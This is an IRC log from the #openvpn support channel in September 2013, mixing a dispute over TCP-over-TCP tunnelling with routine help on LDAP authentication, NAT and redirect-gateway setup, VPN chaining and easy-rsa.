15:25 <+pekster> Skapare: Then you may not understand how tcp slow and fast restart work. It's very much a problem if you're f.ex doing VoIP and bulk-data, you hardly want the sliding window to slow down or stop while retransmits happen as that will kill the interactivity of applications that can handle packet loss
15:26 <+pekster> Evidence isn't hard to come by if you drop some random percentage of packets and watch things fail miserably
15:26 < Skapare> pekster: I'm not saying it is not an issue ... I'm saying many networks don't have that issue
15:26 <+pekster> The Internet is unpedicable; ignore that at your own peril
15:27 < Skapare> pekster: those who are trying to convince me there is such an issue in *MY* networks should provide some supporting data
15:27 <+pekster> I quite frankly don't care
15:27 < Skapare> nor do I
15:27 <+pekster> But saying the theory is bunk unless I can personally proove it is silly, and also a waste of my time. I can't proove the equations for gravity either, yet it's widely understood to still work
15:28 < Skapare> I test things ... if I see problems, I investigate, including research to what others have found
15:28 < Skapare> I'm not saying that is bunk on the wide scale of every possible case ... I'm saying one does not need to go that way if it does not cause a problem in their own case
15:29 < Skapare> if TCP over TCP causes problems in IBMs network, then I don't care ... if it causes problems in MY network then I do care
15:30 < Skapare> but like I said, I'm using UDP because it is the best practice preferred *AND* does not have its own problems in MY network (if it did, then I'd switch to TCP)
15:43 < Skapare> pekster: in the C programming language, the goto statement can be used in a lot of ways, mostly bad ... so people say "do not use goto" ... but really, there are a few uses of goto that do not fit the bad cases ... so that is why I say "do not use goto" is bunk ... it fails to distinguish correctly ... it over generalizes
15:44 < Skapare> in C programming 101, instead of saying "do not use goto" the teacher should say "avoid goto until the intermediate class teachs you which cases are good for using goto"
15:45 < Skapare> that's how I address many incompletely described theories
15:47 <+pekster> TCP is a very well understood protocol, and loss that stops the sliding window when realtime applications need to send is a Bad Thing
15:48 <+pekster> The sliding window isn't a "theory" -- it's RFC
15:53 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
15:59 < Skapare> the "theory" is where that applies ... it simply does not happen in as many places and as often as it used to ... partly because many networks are more reliable and the underlying loss issues just aren't there
16:00 <+pekster> Most of us con't control the nodes between 2 arbitrary hosts on the Internet
16:01 < Skapare> so ... lack of control means someone else controls it
16:02 <+pekster> The fact that you have losses in UDP means your network isn't actually delivering every single packet. QED. It's not reliable
16:02 <+pekster> Problem answered. Please take your FUD to ##networking if you're trying to tell me that The Internet is a 100% reliable transmission medium. Routers go down, someone misconfigures them, some admin leaks a BGP route and eats packets it shouldn't -- LOTS of things go wrong that cause arbitrary packet loss
16:03 < Skapare> my phone modem had a fairly constant 3% packet loss just across town back in the 1980's ... TCP over TCP would be horrible over that ... now days my cable modem is 0.03% loss or less ... TCP over TCP issues are hardly an effect (not impossible) ... so the cost balances are now different
16:04 < Skapare> with those FEW losses (1 every few hours) ... I have had NO lag in TCP at all
16:04 < Skapare> in fact the longest lag I see is over on the UDP side
16:06 < Skapare> a router outage isn't a packet loss ... UDP and TCP will both go down (and no one expects SCTP to stay up, either)
16:06 < Skapare> I'll blog this thing at some later date
16:07 < Skapare> afk
16:10 <+pekster> Just what we need: more blogs that are wrong. Say the reciver sliding window starts at 12, size 64. Packet 12 got dropped (ECN, let's say) and so did its fast-restart retransmit. The queue is now full at 76 packets, and a VoIP application has 18 more ready to send. It can't becuase there's no room in the window to send it until the reciver ACKs packet 12 so the window can advance
16:10 <+pekster> This has nothing to do with OpenVPN, again. Please take such dicussion to ##networking if you need a refresher on how TCP works
16:16 -!- FatDarrel [~anandab@c-67-188-0-203.hsd1.ca.comcast.net] has quit [Quit: FatDarrel]
16:18 -!- mback2k_ is now known as mback2k
16:48 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:48 < Skapare> pekster: it does relate to openvpn ... because a user of openvpn has a choice ... and to the extent anyone in #openvpn says TCP over TCP is always a bad setup, then it matters here
16:48 < Skapare> back to afk
16:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
17:00 -!- mback2k is now known as mback2k_
17:18 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
17:27 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Remote host closed the connection]
17:35 < caelian> goodnight!
17:42 -!- fly_ [~fly@37.98.228.234] has joined #openvpn
17:44 < fcporto> hello
17:44 < fcporto> anyone can help please
17:45 < fcporto> i'm debugging the log file of openvpn
17:45 < fcporto> and my user and passwd are correct
17:45 < fcporto> the ldap bind ok
17:45 < fcporto> but can't logi
17:45 < fcporto> login
17:46 < fcporto>  plugin function PLUGIN_AUTH_USER_PASS_VERIFY failed with status 1: /usr/lib/openvpn/openvpn-auth-ldap.so
17:46 < fcporto> TLS Auth Error: Auth Username/Password verification failed for peer
17:54 -!- s7r_a [~s7r@openvpn/user/s7r] has joined #openvpn
17:54 -!- mode/#openvpn [+v s7r_a] by ChanServ
17:54 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
17:55 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
18:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:05 < fcporto> your local LAN uses the extremely common subnet address 192.168.0.x or 192.168.1.x.  Be aware that this might create routing conflicts if you connect to the VPN server from public locations such as internet cafes that use the same subnet.
18:05 < fcporto> :)
18:05 < fcporto> anyone?
18:05 < fcporto> please i think i'm close to end :)
18:05 -!- fly_ [~fly@37.98.228.234] has quit [Quit: This computer has gone to sleep]
18:09 <+pekster> That's a warning, not a fatal error. It is unwise to use such a common server-side or VPN network unless you can somehow assure no external conflicts
18:12 < fcporto> heya
18:13 < fcporto> hum
18:13 < fcporto> gona try
18:27 < fcporto> :S
18:27 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 264 seconds]
18:27 < fcporto> server failed :S
18:48 -!- fcporto [~fcp@a89-153-6-156.cpe.netcabo.pt] has quit [Quit: Saindo]
18:49 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
19:29 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-plfgggxvweusatbz] has quit [Ping timeout: 264 seconds]
19:39 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:44 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
19:45 -!- TheSov_ [~TheSov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
19:57 < TheSov_> hello i just setup a openvpn router on ubuntu, and it had no firewall rules and UFW was disabled , almost all communcation worked except some like RDP and VNC, anyone know why it would do this?
19:57 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:58 <+pekster> Either some firewall is dropping it, or a service isn't listening
20:11 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
21:16 -!- mezgani [~mezgani@41.248.124.19] has quit [Read error: Operation timed out]
21:33 -!- FatDarrel [~anandab@c-24-7-90-47.hsd1.ca.comcast.net] has joined #openvpn
21:40 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
21:51 -!- FatDarrel [~anandab@c-24-7-90-47.hsd1.ca.comcast.net] has quit [Quit: FatDarrel]
21:55 < Skapare> do tcpdump for that traffic at every interface along the way and see where it disappears from
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:45 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-bgkzicrsrymutceo] has joined #openvpn
22:52 -!- sherefe [~sh@178.90.2.86] has joined #openvpn
22:52 < sherefe> hello everybody
22:58 -!- aegis [~aegis@184.75.223.210] has quit [Ping timeout: 260 seconds]
23:44 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-bgkzicrsrymutceo] has quit [Ping timeout: 240 seconds]
--- Day changed Sun Sep 15 2013
00:06 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 260 seconds]
00:06 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 260 seconds]
00:06 -!- pfoo_ [~pfoo@2001:bc8:3079:1115::1] has joined #openvpn
00:08 -!- pfoo [~pfoo@unaffiliated/pfoo] has quit [Read error: Connection reset by peer]
00:08 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
00:08 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
00:29 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-rudcsqblnpytcaln] has joined #openvpn
00:47 -!- aegis [~aegis@184.75.223.210] has joined #openvpn
01:03 -!- al_nz1 [~Ali_nz1@203.96.199.22] has quit []
01:15 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:42 -!- master_o1_master [~master_of@p4FF24F19.dip0.t-ipconnect.de] has joined #openvpn
01:46 -!- master_of_master [~master_of@p4FF24F45.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
02:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:06 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 240 seconds]
02:09 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
02:17 -!- pfoo_ [~pfoo@2001:bc8:3079:1115::1] has quit []
02:18 -!- pfoo [~pfoo@unaffiliated/pfoo] has joined #openvpn
02:21 < mapito> hey sherefe
02:22 -!- yoseforb [~yoseforb@164.138.115.227] has joined #openvpn
02:23 < yoseforb> Hey, I need help to run openvpn
02:23 < yoseforb> I try use vpnbook
02:25 < yoseforb> \ /etc/openvpn/client.conf: http://fpaste.org/39649/29834137/
02:26 < yoseforb> \ /etc/opvenvpn/vpnbook.crt (from file vpnbook-euro1-tcp80.ovpn, under <cert></cert>): http://fpaste.org/39649/29834137/
02:26 < yoseforb> \ /etc/openvpn/vpnbook.pass: http://fpaste.org/39651/29996137/
02:27 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
02:27 < yoseforb> I get the following error: http://fpaste.org/39652/37923003/
02:27 < yoseforb> I use ArchLinux
02:27 < yoseforb> Have idea for someone?
02:31 < sherefe> mapito hello
02:31 < yoseforb> I use vpnbook-euro1-tcp80.ovpn from vpnbook:
02:31 < yoseforb> http://ur1.ca/fjrp7
02:31 <@vpnHelper> Title: #39653 Fedora Project Pastebin (at ur1.ca)
02:33 < mapito> hey sherefe  any luck since yesterday
02:33 < mapito> if you wait long enough hopefully pekster  or someone else will wakeupo -- he's an expert
02:33 < mapito> im not at all=[
02:33 < sherefe> no :-(
02:34 < sherefe> nobody help me yet
02:34 < sherefe> but i still hope
02:34 < sherefe> :-)
02:34 < mapito> for sure
02:35 < mapito> wait around stay here all day if u can and just wait pekster  is an expert from what ive seen him talking
02:35 < sherefe> Hope dies last
02:36 < mapito> dies last?:D
02:36 < sherefe> thank you mapito
02:36 < sherefe> its a russian proverb
02:36 < sherefe> Hope dies last
02:37 < sherefe> everything is died but hope will live
02:37 < mapito> aha
02:37 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
02:38 < sherefe> mapito i found english version While there is life there is hope.
02:39 < mapito> aha
02:39 < mapito> :D
02:48 -!- vertigo [bleach@i.like.irc.so] has quit [Disconnected by services]
02:48 -!- vertigo [bleach@i.like.irc.so] has joined #openvpn
02:58 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
03:16 < Bretos> yoseforb: I'd recommend chaning your keys ;-)
03:17 < yoseforb> bretos, in vpnbook-euro1-tcp80.ovpn file have have some keys, in tags: one in <ca></ca>, one in <cert></cert> and one in <key></key>. I use the keys in <cert></cert>
03:17 < yoseforb> I need use other keys?
03:18 < Bretos> yoseforb: nope, but you pasted them into a public chat, and public pastebin, so everyone may now connect with your username
03:19 < Bretos> unless there is some more authentication
03:19 < yoseforb> bretos, it public keys, from vpnbook.com
03:20 < Bretos> -----BEGIN RSA PRIVATE KEY----
03:20 < Bretos> it says private ;-)
03:21 <+pekster> That should be considered compromised now, though many people here in hate providers and most likely don't care
03:21 <+pekster> Connection reset; what/why is up to the application that reset it. Check the logs, which you don't have because:
03:21 < yoseforb> bretos, it what I get from vpnbook.com, IIRC is same in each the keys from vpnbook.com, you can to try (download VPNBook.com-OpenVPN-Euro1.zip from vpnbook and see - same private keys)
03:22 <+pekster> !provider
03:22 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
03:22 <+pekster> And:
03:22 <+pekster> !both
03:22 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
03:22 <+pekster> Got annoy people paid to care
03:22 <+pekster> Go*
03:23 < sherefe> pekster hello
03:23 < yoseforb> bretos, I mean stuff right?
03:24 < sherefe> can u help me in my configuration openvpn server please pekster
03:25 <+pekster> You haven't asked a question, or apparently seen/read the topic
03:25 <+pekster> Start here:
03:25 <+pekster> !welcome
03:25 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
03:25 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
03:28 < Bretos> !logs
03:28 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
03:28 < sherefe> pekster i installed sever at ubuntu vds server and client on windows xp
03:28 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Ping timeout: 240 seconds]
03:28 < sherefe> i can ping each other client and server
03:29 < sherefe> but i cant get internet on my client via openvpn server
03:29 <+pekster> The bit in the welcome message you missed (or didn't read) about !redirect might be relevant
03:30 < sherefe> pekster i wanna isk its possible correctly work openvpn server if on ubuntu server have not installed iptables
03:30 <+pekster> Nope, if you run Linux you need netfilter support (aka "iptables") to do NAT
03:30 <+pekster> The !redirect helper would have told you this too
03:31 < sherefe> cuz when i type iptbles my server answer me command not found
03:31 <+pekster> 1) spell it right 2) it generally requires root access 3) if you need help learning how to use your OS, try #ubuntu, not here
03:31 < sherefe> ip forwarding i iptables
03:31 < sherefe> iptables
03:31 < sherefe> i type correct
03:32 -!- heraclitus [~halcyonty@unaffiliated/heraclitis] has joined #openvpn
03:32 < sherefe> so i need install iptables now and make correct rules right ,
03:32 < Bretos> sherefe: does Kazakhstan's authorities bother you? ;-)
03:33 <+pekster> Since you somehow missed the obvious, all the !things are keywords you can type to get help, like this:
03:33 < heraclitus> is it possible to vpn through a vpn? I'm sure I could just try it myself, but thought you guys might know :)
03:33 <+pekster> !101
03:33 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
03:33 <+pekster> Try !redirect if you want info on redirect (like the welcome message said. The one you apparently still haven't read)
03:34 < sherefe> bretos :-) just wana try install
03:34 < heraclitus> !redirect
03:34 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
03:34 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
03:35 < sherefe> pekster in my server.conf there is option redirect-gateway def1
03:35 -!- hjohnson [~hans@99.199.163.30] has joined #openvpn
03:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
03:35 < heraclitus> !def1
03:35 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
03:36 < sherefe> !iptables
03:36 <@vpnHelper> "iptables" is (#1) To test if netfilter ("iptables rules") are your problem, disable all rules with an ACCEPT policy. See https://github.com/QueuingKoala/netfilter-samples/tree/master/reset-rules for a script to do this. or (#2) See also the manpage section on firewalls at this link: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG or (#3) These are just the basics to get you
03:36 <@vpnHelper> started as firewall design is beyond this channel's scope; you can also see #netfilter
03:36 < heraclitus> thanks pekster :D
03:36 < sherefe> !netfilter
03:37 <+pekster> heraclitus: That's a bit non-trivial (my berating sherefe for failure to read/process information wasn't directed at you.) You can connect to the first VPN and explicitly not accept pushed routes (see !noroute), add a host-route to the 2nd hop in your chain via the gateway of the first, then connect to the 2nd and override your global routes
03:37 <+pekster> sherefe: #netfilter is a channel here dedicated to netfilter/iptables help. If you "don't have it availalbe" then you need to install kernel/userland support for netfilter & iptables, and #netfilter will tell you the same
03:38 < heraclitus> !noroute
03:38 < heraclitus> !noroute
03:38 < heraclitus> hmmm :/
03:38 <+pekster> Ah, wrong name
03:38 <+pekster> !nopull
03:38 <@vpnHelper> "nopull" is "route-nopull" is If you want to accept pushed options from the server but not apply the routes (including --redirect-gateway) you can use --route-nopull to ignore all pushed routes
03:38 < heraclitus> :D
03:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:39 <+pekster> You'll need to mess with routing a bit manually, but chain it such that you access VPN#2 via the gateway avialalbe on VPN#1
03:39 < sherefe> om my vds server dont install iptables default so i supposed its cool i no need to write rules for it and my packages will be go without problems
03:39 <+pekster> Clever scripting could "automate" that, which is a task up to the reader
03:41 < heraclitus> I'll have to play around with it. I'm setting up my first vpn service (for others to access), and want to be able to use my vpn service to connect to it. I need to learn as much as I can.
03:41 < heraclitus> The access server is what I need to setup, right?
03:42 < sherefe> when i will try go to internet from winxp client i can see on server side using tcpdump that server access to url sites who i try to achieve but my client browser whow me page not found
03:42 < sherefe> so server dont get data to client
03:43 <+pekster> AS is not OpenVPN, but a commercial (and licensed) product by "OpenVPN Technologies Inc"
03:43 <+pekster> !as
03:43 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
03:44 <+pekster> Use of OpenVPN is separate, and fully open-source (GPL) licensed, with download links for that at !download
03:44 <+pekster> You basically need to make a choice upfront what you want to use if you're the one setting up a server
03:44 < heraclitus> thanks, pekster you are full of knowledge :)
03:44 <+pekster> That one gets a lot of people since the website provides links to both, but mixes the 2 together in some semi-confusing ways
03:55 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
04:14 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:15 -!- ccha [~ccha@unaffiliated/ccha] has joined #openvpn
04:17 < ccha> hello, about site to site mode, do you need both side have openvpn port opened for in ? or is it like p-to-p mode ? server side with port in and client port out
04:19 <+pekster> ccha: You can do either. Generally it tends to be easier to think of one side as the 'listener' and the other as the 'initiator' (even though OpenVPN has no notion of a "server" or "client", you can think of it like that.)
04:20 <+pekster> If you want, they can "both" attempt to reach "each other" which could have certain firewall benefits, but usually that's not necessary or helpful
04:23 < ccha> ok
04:24 < ccha> maybe I should try common model and use client/server model
04:27 -!- hjohnson_ [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
04:30 -!- hjohnson [~hans@99.199.163.30] has quit [Ping timeout: 256 seconds]
04:30 -!- hjohnson_ is now known as hjohnson
04:37 < ccha> I read this "The Linux easy-rsascripts are meant to be run from a
04:37 < ccha> bash-like shell, so make sure you are not running csh/tcsh (UNIX shells)
04:37 < ccha> does it still true ?
04:37 < ccha> can I use zsh with easy-rsa ?
04:37 -!- yoseforb [~yoseforb@164.138.115.227] has quit [Read error: Connection reset by peer]
04:39 -!- sherefe [~sh@178.90.2.86] has quit [Ping timeout: 264 seconds]
04:39 <+pekster> You should be able to use anything POSIX-compliant, yes
04:39 < BadAtom> zsh is sh/bash compatible apart from its own extensions
04:40 < ccha> ok
04:40 -!- s7r_a is now known as s7r
04:41 -!- vertigo [bleach@i.like.irc.so] has quit [Disconnected by services]
04:42 -!- vertigo [bleach@i.like.irc.so] has joined #openvpn
04:42 -!- yoseforb_ [~yoseforb@164.138.115.227] has joined #openvpn
04:43 <+pekster> BadAtom: Mostly. zsh has subtle differences in string indexing, for instance
04:44 -!- sherefe [~sh@178.90.2.86] has joined #openvpn
04:44 <+pekster> Not against sh, but it'll differ from bash
04:49 -!- sherefe [~sh@178.90.2.86] has quit [Ping timeout: 256 seconds]
04:50 -!- sherefe [~sh@178.90.2.86] has joined #openvpn
05:22 -!- sherefe [~sh@178.90.2.86] has quit [Ping timeout: 264 seconds]
05:28 -!- sherefe [~sh@78.129.218.162] has joined #openvpn
05:32 -!- onyx2000 [~sh@178.90.2.86] has joined #openvpn
05:35 -!- sherefe [~sh@78.129.218.162] has quit [Ping timeout: 260 seconds]
05:55 -!- mezgani [~mezgani@41.248.124.19] has joined #openvpn
06:06 < onyx2000> pekster i did it
06:06 -!- onyx2000 [~sh@178.90.2.86] has quit [Quit: Q_u_i_t]
06:08 -!- sherefe [~sh@178.90.2.86] has joined #openvpn
06:09 < sherefe> pekster i solved my problem
06:09 < sherefe> thanks 4 advices
06:09 < sherefe> mapito thx for support u 2
06:16 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 240 seconds]
06:24 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
06:24 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 240 seconds]
06:24 -!- mode/#openvpn [+v pekster] by ChanServ
06:31 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
06:38 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
06:38 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
06:38 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
06:44 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
06:53 -!- julius_ [~julius@p3EE2BEE5.dip0.t-ipconnect.de] has joined #openvpn
06:53 < julius_> hi
06:55 < julius_> when using the tun device, where in the netfilter chain could i use the MARK target to get the applications original destination port before it goes through tun0 and 1194?
06:55 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
07:00 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
07:02 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
07:02 -!- mode/#openvpn [+o dazo_afk] by ChanServ
07:02 -!- dazo_afk is now known as dazo
07:24 -!- mezgani [~mezgani@41.248.124.19] has quit [Quit: Leaving]
07:24 -!- p3rror [~mezgani@41.248.124.19] has joined #openvpn
07:27 <@plaisthos> julius_: I don't think mark values survive openvpn
07:27 <@plaisthos> since it generates new packets
07:28 <@plaisthos> openvpn would need to read the old value from incoming packets and apply them to the new packets
07:29 <@plaisthos> if you want to implement quality of service or similar look at --passtos
07:35 < julius_> thats right, MARK only exists in kernel space
07:35 < julius_> i was thinking about the sending site, i want to shape traffic thats transfered
07:35 < julius_> so before it goes trough the tunnel
07:36 < julius_> eth0 - the outgoing device transmits the packets, but there the port is already changed
07:49 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:50 <@plaisthos> my ipfilter knowlege isn't that deep unfortunaly
07:53 -!- yoseforb_ [~yoseforb@164.138.115.227] has quit [Read error: Connection reset by peer]
07:54 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 256 seconds]
08:00 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-exxumcgwelkeocgn] has quit [Ping timeout: 246 seconds]
08:02 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 246 seconds]
08:02 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:03 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-qtnwdmqoguitjlad] has joined #openvpn
08:03 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 246 seconds]
08:04 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
08:14 -!- xrosnight_ [~quassel@116.76.166.121] has joined #openvpn
08:14 -!- xrosnight_ is now known as atommann
08:21 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
08:35 -!- atommann [~quassel@116.76.166.121] has quit [Quit: missing]
08:41 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
08:47 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
08:47 -!- BtbN [znc@btbn.de] has joined #openvpn
08:48 -!- BtbN [znc@btbn.de] has quit [Client Quit]
08:49 -!- BtbN [znc@btbn.de] has joined #openvpn
08:49 -!- BtbN [znc@btbn.de] has quit [Remote host closed the connection]
08:50 -!- BtbN [znc@btbn.de] has joined #openvpn
08:51 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
08:54 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has quit [Remote host closed the connection]
09:03 -!- fcp2 [~fcp2@a89-153-6-156.cpe.netcabo.pt] has joined #openvpn
09:03 < fcp2> hello
09:04 < fcp2> sorry i try to have openvpn with ldap
09:04 < fcp2> i have auth-ldap.conf the autoriation configs ok
09:04 < fcp2> but the group don't
09:05 < fcp2> because appears user not found
09:05 < fcp2> anyone can help with that configs?
09:05 < fcp2> please
09:05 < julius_> plaisthos, for now i will just attack it to the tun0 interface, lets see how it goes
09:05 < fcp2> the searchfilter i think is bad :S
09:05 < fcp2> searchfilter "((cn=ldapvpn))"
09:06 < fcp2> and i think that is wrong
09:08 < fcp2> LDAP search failed: No such object (0000208D: NameErr: DSID-031001E4, problem 2001 (NO_OBJECT), data 0, best match of:
09:09 -!- p3rror [~mezgani@41.248.124.19] has quit [Ping timeout: 264 seconds]
09:12 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-rudcsqblnpytcaln] has quit [Read error: Connection reset by peer]
09:12 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-feqhcieecfyvsphj] has joined #openvpn
09:34 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
09:45 -!- EmperorTom [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
09:46 <@ecrist> ah, you have no life, either, this morning, EmperorTom 
09:47 < EmperorTom> definitely no life, when im pondering linux networking on a sundaymorning
09:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:49 <@ecrist> heh
09:49 <@ecrist> didn't see an email yet, racquetball tomorrow?
09:55 < EmperorTom> i gave up on the website. made a reservation at the ront desk
09:55 <@ecrist> hah
09:56 -!- yoseforb_ [~yoseforb@164.138.115.227] has joined #openvpn
09:56 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 240 seconds]
09:58 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
10:00 -!- yoseforb_ [~yoseforb@164.138.115.227] has quit [Read error: Connection reset by peer]
10:04 -!- yoseforb_ [~yoseforb@164.138.115.227] has joined #openvpn
10:12 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
10:14 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
10:14  * EugeneKay yawns
10:19 < mapito> ;]
10:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
10:44 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:59 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
11:02 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:03 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 246 seconds]
11:05 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
11:07 -!- NET||abuse [~luke@86.6.148.64] has quit [Ping timeout: 240 seconds]
11:20 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
11:31 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
11:31 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
11:31 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
11:38 -!- fcp2 [~fcp2@a89-153-6-156.cpe.netcabo.pt] has quit [Ping timeout: 260 seconds]
11:39 -!- fcp2 [~fcp2@81.84.240.35] has joined #openvpn
11:40 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
11:41 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
11:42 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
11:42 -!- mode/#openvpn [+o dazo_afk] by ChanServ
11:42 -!- dazo_afk is now known as dazo
11:54 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 246 seconds]
